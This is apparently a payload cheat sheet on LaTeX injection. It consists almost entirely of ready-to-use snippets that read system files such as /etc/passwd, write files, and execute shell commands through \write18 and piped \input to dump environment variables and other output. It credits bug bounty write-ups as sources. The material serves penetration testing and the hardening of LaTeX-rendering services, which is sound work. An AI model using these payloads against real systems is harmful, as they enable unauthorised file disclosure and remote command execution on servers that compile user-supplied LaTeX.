

LaTeX Injection

Read file

```
[-] \input{/etc/passwd}
| \include{password} # load .tex file
```

Read single lined file

```
[-] \newread\file
| \openin\file=/etc/issue
| \read\file to\line
| \text{\line}
| \closein\file
```

Read multiple lined file

```
[-] \newread\file
| \openin\file=/etc/passwd
| \loop\unless\ifeof\file
|   \read\file to\fileline
|   \text{\fileline}
| \repeat
| \closein\file
```

Read text file, keep the formatting

```
[-] \usepackage{verbatim}
| \verbatiminput{/etc/passwd}
```

Write file

```
[-] \newwrite\outfile
| \openout\outfile=cmd.tex
| \write\outfile{Hello-world}
| \closeout\outfile
```

Command execution

The input of the command will be redirected to stdin, use a temp file to get it.

```
\immediate\write18{env > output}  
| \input{output}
```

If you get any LaTeX error, consider using base64 to get the result without bad characters

```
\immediate\write18{env | base64 > test.tex}  
| \input{test.tex}
```

```
\input|ls|base4  
| \input{|"/bin/hostname"}
```

Thanks to

- Hacking with LaTeX – Sebastian Neef – oday.work (<https://0day.work/hacking-with-latex/>)
- Latex to RCE, Private Bug Bounty Program – Yasho (<https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a>)
- Pwning coworkers thanks to LaTeX (<http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/>)